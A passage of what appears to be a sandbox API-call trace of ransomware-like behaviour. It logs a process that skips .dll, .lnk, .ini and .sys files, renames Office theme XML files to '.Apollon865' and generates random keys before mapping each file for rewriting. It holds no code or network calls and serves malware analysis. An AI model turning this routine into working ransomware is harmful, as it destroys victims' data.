	[0073.875] lstrlenW (lpString="Apollon865") returned 10
	[0073.875] lstrlenW (lpString=".dll") returned 4
	[0073.875] lstrcmpiW (lpString1="Flow.xml", lpString2=".dll") returned 1
	[0073.875] lstrlenW (lpString=".lnk") returned 4
	[0073.875] lstrcmpiW (lpString1="Flow.xml", lpString2=".lnk") returned 1
	[0073.875] lstrlenW (lpString=".ini") returned 4
	[0073.875] lstrcmpiW (lpString1="Flow.xml", lpString2=".ini") returned 1
	[0073.875] lstrlenW (lpString=".sys") returned 4
	[0073.875] lstrcmpiW (lpString1="Flow.xml", lpString2=".sys") returned 1
	[0073.875] lstrlenW (lpString="Flow.xml") returned 8
	[0073.875] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml.Apollon865") returned 85
	[0073.875] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.876] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=959) returned 1
	[0073.876] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.877] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.877] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.877] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x118
	[0073.879] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000
	[0073.879] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.880] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.880] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.880] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Foundry.xml" | out: lpString1="Foundry.xml") returned="Foundry.xml"
	[0073.880] lstrlenW (lpString="Foundry.xml") returned 11
	[0073.880] lstrlenW (lpString="Apollon865") returned 10
	[0073.880] lstrcmpiW (lpString1="oundry.xml", lpString2="Apollon865") returned 1
	[0073.880] lstrlenW (lpString=".dll") returned 4
	[0073.880] lstrcmpiW (lpString1="Foundry.xml", lpString2=".dll") returned 1
	[0073.880] lstrlenW (lpString=".lnk") returned 4
	[0073.880] lstrcmpiW (lpString1="Foundry.xml", lpString2=".lnk") returned 1
	[0073.880] lstrlenW (lpString=".ini") returned 4
	[0073.880] lstrcmpiW (lpString1="Foundry.xml", lpString2=".ini") returned 1
	[0073.881] lstrlenW (lpString=".sys") returned 4
	[0073.881] lstrcmpiW (lpString1="Foundry.xml", lpString2=".sys") returned 1
	[0073.881] lstrlenW (lpString="Foundry.xml") returned 11
	[0073.881] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml.Apollon865") returned 88
	[0073.881] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.882] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=962) returned 1
	[0073.882] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.883] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.883] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.883] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x118
	[0073.884] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000
	[0073.885] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.885] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.885] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.886] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Grayscale.xml" | out: lpString1="Grayscale.xml") returned="Grayscale.xml"
	[0073.886] lstrlenW (lpString="Grayscale.xml") returned 13
	[0073.886] lstrlenW (lpString="Apollon865") returned 10
	[0073.886] lstrcmpiW (lpString1="yscale.xml", lpString2="Apollon865") returned 1
	[0073.886] lstrlenW (lpString=".dll") returned 4
	[0073.886] lstrcmpiW (lpString1="Grayscale.xml", lpString2=".dll") returned 1
	[0073.886] lstrlenW (lpString=".lnk") returned 4
	[0073.886] lstrcmpiW (lpString1="Grayscale.xml", lpString2=".lnk") returned 1
	[0073.886] lstrlenW (lpString=".ini") returned 4
	[0073.886] lstrcmpiW (lpString1="Grayscale.xml", lpString2=".ini") returned 1
	[0073.886] lstrlenW (lpString=".sys") returned 4
	[0073.886] lstrcmpiW (lpString1="Grayscale.xml", lpString2=".sys") returned 1
	[0073.886] lstrlenW (lpString="Grayscale.xml") returned 13
	[0073.886] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml.Apollon865") returned 90
	[0073.886] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.890] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=928) returned 1
	[0073.890] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.891] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.891] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.891] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6a0, lpName=0x0) returned 0x118
	[0073.893] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6a0) returned 0x100000
	[0073.893] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.894] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.894] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.894] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Grid.xml" | out: lpString1="Grid.xml") returned="Grid.xml"
	[0073.894] lstrlenW (lpString="Grid.xml") returned 8
	[0073.894] lstrlenW (lpString="Apollon865") returned 10
	[0073.894] lstrlenW (lpString=".dll") returned 4
	[0073.894] lstrcmpiW (lpString1="Grid.xml", lpString2=".dll") returned 1
	[0073.895] lstrlenW (lpString=".lnk") returned 4
	[0073.895] lstrcmpiW (lpString1="Grid.xml", lpString2=".lnk") returned 1
	[0073.895] lstrlenW (lpString=".ini") returned 4
	[0073.895] lstrcmpiW (lpString1="Grid.xml", lpString2=".ini") returned 1
	[0073.895] lstrlenW (lpString=".sys") returned 4
	[0073.895] lstrcmpiW (lpString1="Grid.xml", lpString2=".sys") returned 1
	[0073.895] lstrlenW (lpString="Grid.xml") returned 8
	[0073.895] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml.Apollon865") returned 85
	[0073.895] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.896] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=959) returned 1
	[0073.896] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.897] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.897] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.897] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x118
	[0073.898] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000
	[0073.899] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.899] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.899] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.900] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Hardcover.xml" | out: lpString1="Hardcover.xml") returned="Hardcover.xml"
	[0073.900] lstrlenW (lpString="Hardcover.xml") returned 13
	[0073.900] lstrlenW (lpString="Apollon865") returned 10
	[0073.900] lstrcmpiW (lpString1="dcover.xml", lpString2="Apollon865") returned 1
	[0073.900] lstrlenW (lpString=".dll") returned 4
	[0073.900] lstrcmpiW (lpString1="Hardcover.xml", lpString2=".dll") returned 1
	[0073.900] lstrlenW (lpString=".lnk") returned 4
	[0073.900] lstrcmpiW (lpString1="Hardcover.xml", lpString2=".lnk") returned 1
	[0073.900] lstrlenW (lpString=".ini") returned 4
	[0073.900] lstrcmpiW (lpString1="Hardcover.xml", lpString2=".ini") returned 1
	[0073.900] lstrlenW (lpString=".sys") returned 4
	[0073.900] lstrcmpiW (lpString1="Hardcover.xml", lpString2=".sys") returned 1
	[0073.900] lstrlenW (lpString="Hardcover.xml") returned 13
	[0073.901] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml.Apollon865") returned 90
	[0073.901] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.902] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=964) returned 1
	[0073.902] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.902] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.902] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.903] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x118
	[0073.904] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000
	[0073.905] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.906] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.906] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.906] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Horizon.xml" | out: lpString1="Horizon.xml") returned="Horizon.xml"
	[0073.906] lstrlenW (lpString="Horizon.xml") returned 11
	[0073.906] lstrlenW (lpString="Apollon865") returned 10
	[0073.906] lstrcmpiW (lpString1="orizon.xml", lpString2="Apollon865") returned 1
	[0073.906] lstrlenW (lpString=".dll") returned 4
	[0073.906] lstrcmpiW (lpString1="Horizon.xml", lpString2=".dll") returned 1
	[0073.906] lstrlenW (lpString=".lnk") returned 4
	[0073.906] lstrcmpiW (lpString1="Horizon.xml", lpString2=".lnk") returned 1
	[0073.906] lstrlenW (lpString=".ini") returned 4
	[0073.906] lstrcmpiW (lpString1="Horizon.xml", lpString2=".ini") returned 1
	[0073.906] lstrlenW (lpString=".sys") returned 4
	[0073.906] lstrcmpiW (lpString1="Horizon.xml", lpString2=".sys") returned 1
	[0073.906] lstrlenW (lpString="Horizon.xml") returned 11
	[0073.907] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml.Apollon865") returned 88
	[0073.907] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.908] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=926) returned 1
	[0073.908] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.909] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.909] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.909] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6a0, lpName=0x0) returned 0x118
	[0073.910] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6a0) returned 0x100000
	[0073.911] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.911] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.911] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.912] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Median.xml" | out: lpString1="Median.xml") returned="Median.xml"
	[0073.912] lstrlenW (lpString="Median.xml") returned 10
	[0073.912] lstrlenW (lpString="Apollon865") returned 10
	[0073.912] lstrlenW (lpString=".dll") returned 4
	[0073.912] lstrcmpiW (lpString1="Median.xml", lpString2=".dll") returned 1
	[0073.912] lstrlenW (lpString=".lnk") returned 4
	[0073.912] lstrcmpiW (lpString1="Median.xml", lpString2=".lnk") returned 1
	[0073.912] lstrlenW (lpString=".ini") returned 4
	[0073.912] lstrcmpiW (lpString1="Median.xml", lpString2=".ini") returned 1
	[0073.912] lstrlenW (lpString=".sys") returned 4
	[0073.912] lstrcmpiW (lpString1="Median.xml", lpString2=".sys") returned 1
	[0073.912] lstrlenW (lpString="Median.xml") returned 10
	[0073.912] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml.Apollon865") returned 87
	[0073.912] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.913] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=961) returned 1
	[0073.913] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.914] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.914] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.914] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x118
	[0073.916] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000
	[0073.916] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.917] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.917] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.918] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Metro.xml" | out: lpString1="Metro.xml") returned="Metro.xml"
	[0073.918] lstrlenW (lpString="Metro.xml") returned 9
	[0073.918] lstrlenW (lpString="Apollon865") returned 10
	[0073.918] lstrlenW (lpString=".dll") returned 4
	[0073.918] lstrcmpiW (lpString1="Metro.xml", lpString2=".dll") returned 1
	[0073.918] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml.Apollon865") returned 86
	[0073.918] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.919] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=960) returned 1
	[0073.919] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.920] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.920] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.920] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x118
	[0073.921] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000
	[0073.922] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.922] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.922] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.923] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Module.xml" | out: lpString1="Module.xml") returned="Module.xml"
	[0073.923] lstrlenW (lpString="Module.xml") returned 10
	[0073.923] lstrlenW (lpString="Apollon865") returned 10
	[0073.923] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml.Apollon865") returned 87
	[0073.923] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.925] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=961) returned 1
	[0073.925] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.926] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.926] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.926] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x118
	[0073.927] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000
	[0073.928] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.928] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
